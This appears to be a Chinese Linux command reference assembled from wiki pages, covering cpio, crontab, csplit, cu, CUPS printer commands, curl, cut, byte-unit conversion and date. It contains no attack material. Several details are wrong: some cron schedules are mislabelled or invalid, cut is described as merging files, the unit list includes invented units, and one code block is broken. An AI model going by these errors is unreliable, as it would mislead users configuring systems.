-L或--dereference:不建立符号连接,直接复制该连接所指向的原始文件;
-m或preserve-modification-time:不去更改文件的更改时间;
-M<回传信息>或--message=<回传信息>:设置更换保存媒体的信息;
-n或--numeric-uid-gid:使用“-tv”参数列出备份档的内容时,若再加上参数“-n”,则会以用户识别和群组识别码替代拥有者和群组名称列出文件清单;
-o或--create:执行copy-out模式,建立备份档;
-O<备份档>:指定备份档的名称,用来取代标准输出,也能借此通过网络使用另一台主机的保存设备存放备份档;
-p或--pass-through:执行copy-pass模式,略过备份步骤,直接将文件复制到目的目录;
-r或--rename:当有文件名称需要更改时,采用互动模式;
-R<拥有者><:/.><所属群组>或----owner<拥有者><:/.><所属群组>   在copy-in模式还原备份档,或copy-pass模式复制文件时,可指定这些备份,复制的文件的拥有者与所属群组;
-s或--swap-bytes:交换每队字节的内容;
-S或--swap-halfwords:交换每半个字节的内容;
-t或--list:将输入的内容呈现出来;
-u或--unconditional:置换所有文件,不论日期时间的新旧与否,皆不予询问而直接覆盖;
-v或--verbose:详细显示指令的执行过程;
-V或--dot:执行指令时。在每个文件的执行程序前面加上“.”号;
--block-size=<区块大小>:设置输入/输出的区块大小,假如设置数值为5,则区块大小为2500,若设置成10,则区块大小为5120,以此类推;
--force-local:强制将备份档存放在本地主机;
--help:在线帮助;
--no-absolute-filenames:使用相对路径建立文件名称;
--no-preserve-owner:不保留文件的拥有者,谁解开了备份档,那些文件就归谁所有;
-only-verify-crc:当备份档采用CRC备份格式时,可使用这项参数检查备份档内的每个文件是否正确无误;
--quiet:不显示复制了多少区块;
--sparse:倘若一个文件内含有大量的连续0字节,则将此文件存在稀疏文件;
--version:显示版本信息。
```

</div>

!! 实例  

:<div>


 "将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`,使用以下命令:"

```
find /etc –type f | cpio –ocvB >/opt/etc.cpio
```

 "将系统上所有资料备份到磁带机内,使用以下命令:"

```
find / -print | cpio -covB > /dev/st0
```

这里的`/dev/st0`是磁带的设备名,代表SCSI磁带机。

 "查看上例磁带机上备份的文件,使用以下命令:"

```
cpio  -icdvt < /dev/st0 > /tmp/st_content
```

有时可能因为备份的文件过多,一个屏幕无法显示完毕,此时我们利用下面命令,让磁带机的文件信息输出到文件。

 "将示例1中的备份包还原到相应的位置,如果有相同文件进行覆盖,使用以下命令:"

```
cpio –icduv < /opt/etc.cpio
```

注意,cpio恢复的路径,如果cpio在打包备份的时候用的是绝对路径,那么在恢复的时候会自动恢复到这些绝对路径下,本例就会将备份文件全部还原到/etc路径下对应的目录中。同理,如果在打包备份用的是相对路径,还原时也将恢复到相对路径下。

通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。

</div>

! examples
:<div>

```bash
#Examples:
  # Copy files named in name-list to the archive
  cpio -o < name-list [> archive]
  # Extract files from the archive
  cpio -i [< archive]
  # Copy files named in name-list to destination-directory
  cpio -p destination-directory < name-list

```


{{unzipkernel}}

</div>
''crontab''命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

!TIPS


: `%需要转义`


: 出处 `man 5 crontab | grep newline -n`

!EXTENSIONS
:<pre>

```bash


       #These special time specification "nicknames" which replace the 5 initial time and date fields, and are prefixed with the '@' character, are supported:

       @reboot    :    Run once after reboot.
       @yearly    :    Run once a year, ie.  "0 0 1 1 *".
       @annually  :    Run once a year, ie.  "0 0 1 1 *".
       @monthly   :    Run once a month, ie. "0 0 1 * *".
       @weekly    :    Run once a week, ie.  "0 0 * * 0".
       @daily     :    Run once a day, ie.   "0 0 * * *".
       @hourly    :    Run once an hour, ie. "0 * * * *".

```
</pre>

!选项
:<pre>

```bash

-e:编辑该用户的计时器设置;
-l:列出该用户的计时器设置;
-r:删除该用户的计时器设置;
-u<用户名称>:指定要设定计时器的用户名称。

```
</pre>

!!Linux下的任务计划
:<div>

;系统任务计划
:<div>

    系统任务调度系统周期性所要执行的工作

vim /etc/crontab

```bash
#前四行是用来配置crond任务运行的环境变量
SHELL=/bin/bash                                      #系统要使用哪个shell
PATH=/sbin:/bin:/usr/sbin:/usr/bin             #定义PATH环境变量
MAILTO=""                                                #接受执行信息的邮件地址,留空不发送信息
HOME=/                                                    #指定工作目录

# run-parts
51 * * * * root run-parts /etc/cron.hourly
24 7 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
```
</div>

;用户任务计划:
:<div>
    
所有用户定义的crontab文件都被保存在/var/spool/cron目录中。

其文件名与用户名一致,

;使用者权限文件如下

:<div>
    
```bash
/etc/cron.deny     #该文件中所列用户不允许使用crontab命令
/etc/cron.allow    #该文件中所列用户允许使用crontab命令
/var/spool/cron/   #所有用户crontab文件存放的目录,以用户名命名
```
</div>
</div>
</div>
;crontab文件

:<div>

;格式:
:minute   hour   day   month   week   `command`



;字段:
:<div>

|!字段|!desc|
|minute|分钟0-59|
|hour|小时0-23|
|day|日期1-31|
|month|月份1-12|
|week|星期几0-7|
|command|要执行的命令或脚本文件|
</div>

;特殊字符:
:<div>

|星号(*)|所有可能的值||
|逗号(,)|一个列表范围|"1,2,5,7,8,9"|
|中杠(-)|一个整数范围|“2-6”表示“2,3,4,5,6”|
|正斜线(/)|间隔频率|“0-23/2”表示每两小时执行一次。|
|行首-|任务不写日志|系统计划, 或root允许不写日志|
</div>

;日志
:<div>

running log:/var/log/cron

error log:/var/log/message
</div>

</div>

!!crond服务管理
:<div>

```bash
service crond start             #启动服务
service crond stop              #关闭服务
service crond restart           #重启服务
service crond reload            #重新载入配置
service crond status            #查看crontab服务状态:
ntsysv                          #是否已设置为开机启动
chkconfig –level 35 crond on    #加入开机自动启动:
```
</div>



!!实例
:<div>

```bash
# *
# */k
# m,n
# m-n
# m-n/k

#每1分钟执行一次command
* * * * * command

#每小时的第3和第15分钟执行
3,15 * * * * command

#在上午8点到11点的第3和第15分钟执行
3,15 8-11 * * * command

#每隔两天的上午8点到11点的第3和第15分钟执行
3,15 8-11 */2 * * command

#每个星期一的上午8点到11点的第3和第15分钟执行
3,15 8-11 * * 1 command

#每晚的21:30重启smb 
30 21 * * * /etc/init.d/smb restart

#每月1、10、22日的4 : 45重启smb 
45 4 1,10,22 * * /etc/init.d/smb restart

#每周六、周日的1:10重启smb
10 1 * * 6,0 /etc/init.d/smb restart

#每天18 : 00至23 : 00之间每隔30分钟重启smb 
0,30 18-23 * * * /etc/init.d/smb restart
*/30 18-23 * * * /etc/init.d/smb restart

#每星期六的晚上11:00 pm重启smb 
0 23 * * 6 /etc/init.d/smb restart

#每一小时重启smb 
* */1 * * * /etc/init.d/smb restart

#晚上11点到早上7点之间,每隔一小时重启smb
* 23-7/1 * * * /etc/init.d/smb restart

#每月的4号与每周一到周三的11点重启smb 
0 11 4 * mon-wed /etc/init.d/smb restart

#一月一号的4点重启smb
0 4 1 jan * /etc/init.d/smb restart

#每小时执行/etc/cron.hourly目录内的脚本
01 * * * * root run-parts /etc/cron.hourly
```
</div>
!!简介
:<div>
csplit
===

将一个大文件分割成小的碎片文件

</div>

!! 补充说明

:<div>


"csplit命令" 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件。

</div>

!! 语法  

:<div>


```
csplit(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名;
-f<输出字首字符串>或--prefix=<输出字首字符串>:预设的输出字首字符串其文件名为xx00,xx01等,如果制定输出字首字符串为“hello”,则输出的文件名称会变成hello00,hello、01......
-k或--keep-files:保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件;
-n<输出文件名位数>或--digits=<输出文件名位数>:预设的输出文件名位数其文件名称为xx00,xx01......如果用户指定输出文件名位数为“3”,则输出的文件名称会变成xx000,xx001等;
-q或-s或--quiet或——silent:不显示指令执行过程;
-z或--elide-empty-files:删除长度为0 Byte文件。
```

</div>

!! 参数  

:<div>


*   文件:指定要分割的原文件;
*   模式:指定要分割文件时的匹配模式。

</div>

!! 实例  

:<div>


示例测试文件 server.log

```
cat server.log
SERVER-1
[con] 10.10.10.1 suc
[con] 10.10.10.2 fai
[dis] 10.10.10.3 pen
[con] 10.10.10.4 suc
SERVER-2
[con] 10.10.10.5 suc
[con] 10.10.10.6 fai
[dis] 10.10.10.7 pen
[con] 10.10.10.8 suc
SERVER-3
[con] 10.10.10.9 suc
[con] 10.10.10.10 fai
[dis] 10.10.10.11 pen
[con] 10.10.10.12 suc
```

需要将server.log分割成server1.log、server2.log、server3.log,这些文件的内容分别取自原文件中不同的SERVER部分:

```
[root@localhost split]# csplit server.log /SERVER/ -n2 -s {*} -f server -b "%02d.log"; rm server00.log
[root@localhost split]# ls
server01.log  server02.log  server03.log  server.log
```

 "命令详细说明:" 

```
/[正则表达式]/   #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。
{*}     #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。
-s      #静默模式,不打印其他信息。
-n      #指定分割后的文件名后缀的数字个数。比如01、02、03等。
-f      #指定分割后的文件名前缀。
-b      #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。
rm server00.log    #是删除第一个文件,因为分割后的的第一个文件没有内容,匹配的单词就位于文件的第一行中。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
cu
===

用于连接另一个系统主机。

</div>

!! 补充说明

:<div>


"cu命令" 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业。

</div>

!! 语法  

:<div>


```
cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>]
[-s<连线速率>][-x<排错模式>][-z<系统主机>][--help][-nostop][--parity=none][<系统主机>/<电话号码>]
```

</div>

!! 选项  

:<div>


```
-a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。
-c<电话号码>或--phone<电话号码> 拨打该电话号码。
-d 进入排错模式。
-e或--parity=even 使用双同位检查。
-E<脱离字符>或--escape<脱离字符> 设置脱离字符。
-h或--halfduple 使用半双工模式。
-I<配置文件>或--config<配置文件> 指定要使用的配置文件。
-l<外围设备代号>或--line<外围设备代号> 指定某项外围设备,作为连接的设备。
-n或--prompt 拨号时等待用户输入电话号码。
-o或--parity=odd 使用单同位检查。
-s<连线速率>或--speed<连线速率>或--baud<连线速率>或-<连线速率> 设置连线的速率,单位以鲍率计算。
-t或--maper 把CR字符置换成LF+CR字符。
-v或--version 显示版本信息。
-x<排错模式>或--debug<排错模式> 使用排错模式。
-z<系统主机>或--system<系统主机> 连接该系统主机。
--help 在线帮助。
--nostop 关闭Xon/Xoff软件流量控制。
--parity=none 不使用同位检查。
```

</div>

!! 实例

:<div>


与远程主机连接

```
cu -c 0102377765
cu -s 38400 9=12015551234
```



<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
cupsdisable
===

停止指定的打印机

</div>

!! 补充说明

:<div>


"cupsdisable命令" 用于停止指定的打印机。

</div>

!! 语法  

:<div>


```
cupsdisable(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-u:指定打印任务所属的用户;
-c:取消指定打印机的所有打印任务;
-h:指定连接的服务器名和端口号;
-r:停止打印机的原因。
```

</div>

!! 参数  

:<div>


目标:指定目标打印机。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
cupsenable
===

启动指定的打印机

</div>

!! 补充说明

:<div>


"cupsenable命令" 用于启动指定的打印机。

</div>

!! 语法  

:<div>


```
cupsenable(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-u:指定打印任务所属的用户;
-h:指定连接的服务器名和端口号;
```

</div>

!! 参数  

:<div>


目标:指定目标打印机。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
curl
===

利用URL规则在命令行下工作的文件传输工具

</div>

!! 补充说明

:<div>


"curl命令" 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。

</div>

!! 语法

:<div>


```
curl(选项)(参数)
```

</div>

!! 选项

:<div>


<table border="0" cellpadding="0" cellspacing="0">

<tbody>
<tr><td>-a/--append</td><td>上传文件时,附加到目标文件</td></tr>
<tr><td>-A/--user-agent <string></td><td>设置用户代理发送给服务器</td></tr>
<tr><td>-anyauth</td><td>可以使用“任何”身份验证方法</td></tr>
<tr><td>-b/--cookie <name=string/file></td><td>cookie字符串或文件读取位置</td></tr>
<tr><td>     --basic</td><td>使用HTTP基本验证</td></tr>
<tr><td>-B/--use-ascii</td><td>使用ASCII /文本传输</td></tr>
<tr><td>-c/--cookie-jar <file></td><td>操作结束后把cookie写入到这个文件中</td></tr>
<tr><td>-C/--continue-at <offset></td><td>断点续传</td></tr>
<tr><td>-d/--data <data></td><td>HTTP POST方式传送数据</td></tr>
<tr><td>     --data-ascii <data></td><td>以ascii的方式post数据</td></tr>
<tr><td>     --data-binary <data></td><td>以二进制的方式post数据</td></tr>
<tr><td>     --negotiate</td><td>使用HTTP身份验证</td></tr>
<tr><td>     --digest</td><td>使用数字身份验证</td></tr>
<tr><td>     --disable-eprt</td><td>禁止使用EPRT或LPRT</td></tr>
<tr><td>     --disable-epsv</td><td>禁止使用EPSV</td></tr>
<tr><td>-D/--dump-header <file></td><td>把header信息写入到该文件中</td></tr>
<tr><td>     --egd-file <file></td><td>为随机数据(SSL)设置EGD socket路径</td></tr>
<tr><td>     --tcp-nodelay</td><td>使用TCP_NODELAY选项</td></tr>
<tr><td>-e/--referer</td><td>来源网址</td></tr>
<tr><td>-E/--cert <cert:[passwd]></td><td>客户端证书文件和密码 (SSL)</td></tr>
<tr><td>     --cert-type <type></td><td>证书文件类型 (DER/PEM/ENG) (SSL)</td></tr>
<tr><td>     --key <key></td><td>私钥文件名 (SSL)</td></tr>
<tr><td>     --key-type <type></td><td>私钥文件类型 (DER/PEM/ENG) (SSL)</td></tr>
<tr><td>     --pass <pass></td><td>私钥密码 (SSL)</td></tr>
<tr><td>     --engine <eng></td><td>加密引擎使用 (SSL). "--engine list" for list</td></tr>
<tr><td>     --cacert <file></td><td>CA证书 (SSL)</td></tr>
<tr><td>     --capath <directory></td><td>CA目录 (made using c_rehash) to verify peer against (SSL)</td></tr>
<tr><td>     --ciphers <list></td><td>SSL密码</td></tr>
<tr><td>     --compressed</td><td>要求返回是压缩的形势 (using deflate or gzip)</td></tr>
<tr><td>     --connect-timeout <seconds></td><td>设置最大请求时间</td></tr>
<tr><td>     --create-dirs</td><td>建立本地目录的目录层次结构</td></tr>
<tr><td>     --crlf</td><td>上传是把LF转变成CRLF</td></tr>
<tr><td>-f/--fail</td><td>连接失败时不显示http错误</td></tr>
<tr><td>     --ftp-create-dirs</td><td>如果远程目录不存在,创建远程目录</td></tr>
<tr><td>     --ftp-method [multicwd/nocwd/singlecwd]</td><td>控制CWD的使用</td></tr>
<tr><td>     --ftp-pasv</td><td>使用 PASV/EPSV 代替端口</td></tr>
<tr><td>     --ftp-skip-pasv-ip</td><td>使用PASV的时候,忽略该IP地址</td></tr>
<tr><td>     --ftp-ssl</td><td>尝试用 SSL/TLS 来进行ftp数据传输</td></tr>
<tr><td>     --ftp-ssl-reqd</td><td>要求用 SSL/TLS 来进行ftp数据传输</td></tr>
<tr><td>-F/--form <name=content></td><td>模拟http表单提交数据</td></tr>
<tr><td>     --form-string <name=string></td><td>模拟http表单提交数据</td></tr>
<tr><td>-g/--globoff</td><td>禁用网址序列和范围使用{}和[]</td></tr>
<tr><td>-G/--get</td><td>以get的方式来发送数据</td></tr>
<tr><td>-H/--header <line></td><td>自定义头信息传递给服务器</td></tr>
<tr><td>     --ignore-content-length</td><td>忽略的HTTP头信息的长度</td></tr>
<tr><td>-i/--include</td><td>输出时包括protocol头信息</td></tr>
<tr><td>-I/--head</td><td>只显示请求头信息</td></tr>
<tr><td>-j/--junk-session-cookies</td><td>读取文件进忽略session cookie</td></tr>
<tr><td>     --interface <interface></td><td>使用指定网络接口/地址</td></tr>
<tr><td>     --krb4 <level></td><td>使用指定安全级别的krb4</td></tr>
<tr><td>-k/--insecure</td><td>允许不使用证书到SSL站点</td></tr>
<tr><td>-K/--config</td><td>指定的配置文件读取</td></tr>
<tr><td>-l/--list-only</td><td>列出ftp目录下的文件名称</td></tr>
<tr><td>     --limit-rate <rate></td><td>设置传输速度</td></tr>
<tr><td>     --local-port<NUM></td><td>强制使用本地端口号</td></tr>
<tr><td>-m/--max-time <seconds></td><td>设置最大传输时间</td></tr>
<tr><td>     --max-redirs <num></td><td>设置最大读取的目录数</td></tr>
<tr><td>     --max-filesize <bytes></td><td>设置最大下载的文件总量</td></tr>
<tr><td>-M/--manual</td><td>显示全手动</td></tr>
<tr><td>-n/--netrc</td><td>从netrc文件中读取用户名和密码</td></tr>
<tr><td>     --netrc-optional</td><td>使用 .netrc 或者 URL来覆盖-n</td></tr>
<tr><td>     --ntlm</td><td>使用 HTTP NTLM 身份验证</td></tr>
<tr><td>-N/--no-buffer</td><td>禁用缓冲输出</td></tr>
<tr><td>-o/--output</td><td>把输出写到该文件中</td></tr>
<tr><td>-O/--remote-name</td><td>把输出写到该文件中,保留远程文件的文件名</td></tr>
<tr><td>-p/--proxytunnel</td><td>使用HTTP代理</td></tr>
<tr><td>     --proxy-anyauth</td><td>选择任一代理身份验证方法</td></tr>
<tr><td>     --proxy-basic</td><td>在代理上使用基本身份验证</td></tr>
<tr><td>     --proxy-digest</td><td>在代理上使用数字身份验证</td></tr>
<tr><td>     --proxy-ntlm</td><td>在代理上使用ntlm身份验证</td></tr>
<tr><td>-P/--ftp-port <address></td><td>使用端口地址,而不是使用PASV</td></tr>
<tr><td>-q</td><td>作为第一个参数,关闭 .curlrc</td></tr>
<tr><td>-Q/--quote <cmd></td><td>文件传输前,发送命令到服务器</td></tr>
<tr><td>-r/--range <range></td><td>检索来自HTTP/1.1或FTP服务器字节范围</td></tr>
<tr><td>--range-file</td><td>读取(SSL)的随机文件</td></tr>
<tr><td>-R/--remote-time</td><td>在本地生成文件时,保留远程文件时间</td></tr>
<tr><td>     --retry <num></td><td>传输出现问题时,重试的次数</td></tr>
<tr><td>     --retry-delay <seconds></td><td>传输出现问题时,设置重试间隔时间</td></tr>
<tr><td>     --retry-max-time <seconds></td><td>传输出现问题时,设置最大重试时间</td></tr>
<tr><td>-s/--silent</td><td>静默模式。不输出任何东西</td></tr>
<tr><td>-S/--show-error</td><td>显示错误</td></tr>
<tr><td>     --socks4 <host[:port]></td><td>用socks4代理给定主机和端口</td></tr>
<tr><td>     --socks5 <host[:port]></td><td>用socks5代理给定主机和端口</td></tr>
<tr><td>     --stderr <file></td><td> </td></tr>
<tr><td>-t/--telnet-option <OPT=val></td><td>Telnet选项设置</td></tr>
<tr><td>     --trace <file></td><td>对指定文件进行debug</td></tr>
<tr><td>     --trace-ascii <file></td><td>Like --跟踪但没有hex输出</td></tr>
<tr><td>     --trace-time</td><td>跟踪/详细输出时,添加时间戳</td></tr>
<tr><td>-T/--upload-file <file></td><td>上传文件</td></tr>
<tr><td>     --url <URL></td><td>Spet URL to work with</td></tr>
<tr><td>-u/--user <user[:password]></td><td>设置服务器的用户和密码</td></tr>
<tr><td>-U/--proxy-user <user[:password]></td><td>设置代理用户名和密码</td></tr>
<tr><td>-w/--write-out [format]</td><td>什么输出完成后</td></tr>
<tr><td>-x/--proxy <host[:port]></td><td>在给定的端口上使用HTTP代理</td></tr>
<tr><td>-X/--request <command></td><td>指定什么命令</td></tr>
<tr><td>-y/--speed-time</td><td>放弃限速所要的时间,默认为30</td></tr>
<tr><td>-Y/--speed-limit</td><td>停止传输速度的限制,速度时间</td></tr>
</tbody>

</table>

</div>

!! 实例

:<div>


"文件下载"

curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用`--silent`选项。

```
curl URL --silent
```

这条命令是将下载文件输出到终端,所有下载的数据都被写入到stdout。

使用选项`-O`将下载的数据写入到文件,必须使用文件的绝对地址:

```
curl http://wangchujiang.com/text.iso --silent -O
```

选项`-o`将下载数据写入到指定名称的文件中,并使用`--progress`显示进度条:

```
curl http://wangchujiang.com/test.iso -o filename.iso --progress
</div>

!!!!!!!!!!!!!!!!!!!!!!!!!!!! 100.0%

:<div>

```

"断点续传"

curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件:

```
curl URL/File -C 偏移量

#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
```

"使用curl设置参照页字符串"

参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。

使用`--referer`选项指定参照页字符串:

```
curl --referer http://www.google.com http://wangchujiang.com
```

"用curl设置cookies"

使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔:

```
curl http://wangchujiang.com --cookie "user=root;pass=123456"
```

将cookie另存为一个文件,使用`--cookie-jar`选项:

```
curl URL --cookie-jar cookie_file
```

"用curl设置用户代理字符串"

有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用`--user-agent`或者`-A`选项:

```
curl URL --user-agent "Mozilla/5.0"
curl URL -A "Mozilla/5.0"
```

其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如:

```
curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL
```

"curl的带宽控制和下载配额"

使用`--limit-rate`限制curl的下载速度:

```
curl URL --limit-rate 50k
```

命令中用k(千字节)和m(兆字节)指定下载速度限制。

使用`--max-filesize`指定可下载的最大文件大小:

```
curl URL --max-filesize bytes
```

如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。

"用curl进行认证"

使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:

```
curl -u user:pwd http://wangchujiang.com
curl -u user http://wangchujiang.com
```

"只打印响应头部信息"

通过`-I`或者`-head`可以只打印出HTTP头部信息:

```
[root@localhost text]# curl -I http://wangchujiang.com
HTTP/1.1 200 OK
Server: nginx/1.2.5
date: Mon, 10 Dec 2012 09:24:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Pingback: http://wangchujiang.com/xmlrpc.php
```

"get请求"

```bash
curl "http://www.wangchujiang.com"    # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
curl -i "http://www.wangchujiang.com" # 显示全部信息
curl -l "http://www.wangchujiang.com" # 只显示头部信息
curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析
```

"post请求"

```bash
curl -d "param1=value1&param2=value2" "http://www.wangchujiang.com"
```

"json格式的post请求"

```bash
curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json
```

"获取本机外网ip"

```bash
curl ipecho.net/plain
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!功能
    # 显示行中的指定部分
    # 合并多个文件,如`cut fl f2 > f3`


!选项
    * -b:仅显示行中指定直接范围的内容;
    * -c:仅显示行中指定范围的字符;
    * -d:指定字段的分隔符,默认的字段分隔符为“TAB”;
    * -f:显示指定字段的内容;
    * -n:与“-b”选项连用,不分割多字节字符;
    * --complement:补足被选择的字节、字符或字段;
    * --out-delimiter=<字段分隔符>:指定输出内容是的字段分割符;
    * --help:显示指令的帮助信息;
    * --version:显示指令的版本信息。


!指定字段的字符或者字节范围
* cut命令可以将一串字符作为列来显示,字符字段的记法:

    ** N-:从第N个字节、字符、字段到结尾;
    ** N-M:从第N个字节、字符、字段到第M个(包括M在内)字节、字符、字段;
    ** -M:从第1个字节、字符、字段到第M个(包括M在内)字节、字符、字段。
    

*范围选项:

    ** -b 表示字节;
    ** -c 表示字符;
    ** -f 表示定义字段。

!示例
* 范围<pre>

```bash
#打印第1个到第3个字符:
[root@localhost text]# cut -c1-3 test.txt 

#打印前2个字符:
[root@localhost text]# cut -c-2 test.txt 

#打印从第5个字符开始到结尾:
[root@localhost text]# cut -c5- test.txt 
```
</pre>

* --complement 取反:<pre>

```bash
[root@localhost text]# cut -f2 --complement test.txt
```
</pre>
* 简介

> 8个bit组成一个Byte(字节),能够容纳一个英文字符,不过一个汉字需要两个字节的存储空间!1024个字节就是1KByte(千字节),简写为1KB。计算机工作原理为高低电平(高为1,低为0)产生的2进制算法进行运算,所以我们购买的硬盘通常使用近似1000的1024进位(1024=2的10次方)。

* 换算单位<pre>
    计算机常用的存储单位:
        8 bit   = 1 Byte 一字节
        1024 B  = 1 KB (KiloByte)  
        1024 KB = 1 MB (MegaByte)  
        1024 MB = 1 GB (GigaByte)  
        1024 GB = 1 TB (TeraByte)  
        1024 TB = 1 PB (PetaByte)  
        1024 PB = 1 EB (ExaByte)   
        1024 EB = 1 ZB (ZetaByte)  
        1024 ZB = 1 YB (YottaByte) 
        1024 YB = 1BB  (Brontobyte)
        1024 BB = 1 NB (NonaByte)  
        1024 NB = 1 DB (DoggaByte) 
</pre>


* 计算方法<pre>

```python
HUMANIZE_SUFFIXES = ('KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB')

SIZE_SUFFIX = {
    'kb': 1024,
    'mb': 1024 ** 2,
    'gb': 1024 ** 3,
    'tb': 1024 ** 4,
    'kib': 1024,
    'mib': 1024 ** 2,
    'gib': 1024 ** 3,
    'tib': 1024 ** 4,
}


def human_readable_size(value):
    """Convert an size in bytes into a human readable format.

    For example::

        >>> human_readable_size(1)
        '1 Byte'
        >>> human_readable_size(10)
        '10 Bytes'
        >>> human_readable_size(1024)
        '1.0 KiB'
        >>> human_readable_size(1024 * 1024)
        '1.0 MiB'

    :param value: The size in bytes
    :return: The size in a human readable format based on base-2 units.

    """
    one_decimal_point = '%.1f'
    base = 1024
    bytes_int = float(value)

    if bytes_int == 1:
        return '1 Byte'
    elif bytes_int < base:
        return '%d Bytes' % bytes_int

    for i, suffix in enumerate(HUMANIZE_SUFFIXES):
        unit = base ** (i+2)
        if round((bytes_int / unit) * base) < base:
            return '%.1f %s' % ((base * bytes_int / unit), suffix)

def human_readable_to_bytes(value):
    """Converts a human readable size to bytes.

    :param value: A string such as "10MB".  If a suffix is not included,
        then the value is assumed to be an integer representing the size
        in bytes.
    :returns: The converted value in bytes as an integer

    """
    value = value.lower()
    if value[-2:] == 'ib':
        # Assume IEC suffix.
        suffix = value[-3:].lower()
    else:
        suffix = value[-2:].lower()
    has_size_identifier = (
        len(value) >= 2 and suffix in SIZE_SUFFIX)
    if not has_size_identifier:
        try:
            return int(value)
        except ValueError:
            raise ValueError("Invalid size value: %s" % value)
    else:
        multiplier = SIZE_SUFFIX[suffix]
        return int(value[:-len(suffix)]) * multiplier

```
</pre>
datadir¶

:<div>

* "Description": Directory where the data is stored.
* "Commandline": --datadir=path or -h path
* "Scope": Global
* "Dynamic": No
* "Type": directory name
</div>
```
用法:date [选项]... [+格式]
 或:date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
Display the current time in the given FORMAT, or set the system date.

Mandatory arguments to long options are mandatory for short options too.
  -d, --date=STRING         display time described by STRING, not 'now'
  -f, --file=DATEFILE       like --date once for each line of DATEFILE
  -I[TIMESPEC], --iso-8601[=TIMESPEC]  output date/time in ISO 8601 format.
                            TIMESPEC='date' for date only (the default),
                            'hours', 'minutes', 'seconds', or 'ns' for date
                            and time to the indicated precision.
  -r, --reference=文件		显示文件指定文件的最后修改时间
  -R, --rfc-2822		以RFC 2822格式输出日期和时间
				例如:2006年8月7日,星期一 12:34:56 -0600
      --rfc-3339=TIMESPEC   output date and time in RFC 3339 format.
                            TIMESPEC='date', 'seconds', or 'ns' for
                            date and time to the indicated precision.
                            Date and time components are separated by
                            a single space: 2006-08-07 12:34:56-06:00
  -s, --set=STRING          set time described by STRING
  -u, --utc, --universal    print or set Coordinated Universal Time (UTC)
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

给定的格式FORMAT 控制着输出,解释序列如下:

  %%	一个文字的 %
  %a	当前locale 的星期名缩写(例如: 日,代表星期日)
  %A	当前locale 的星期名全称 (如:星期日)
  %b	当前locale 的月名缩写 (如:一,代表一月)
  %B	当前locale 的月名全称 (如:一月)
  %c	当前locale 的日期和时间 (如:2005年3月3日 星期四 23:05:25)
  %C	世纪;比如 %Y,通常为省略当前年份的后两位数字(例如:20)
  %d	按月计的日期(例如:01)
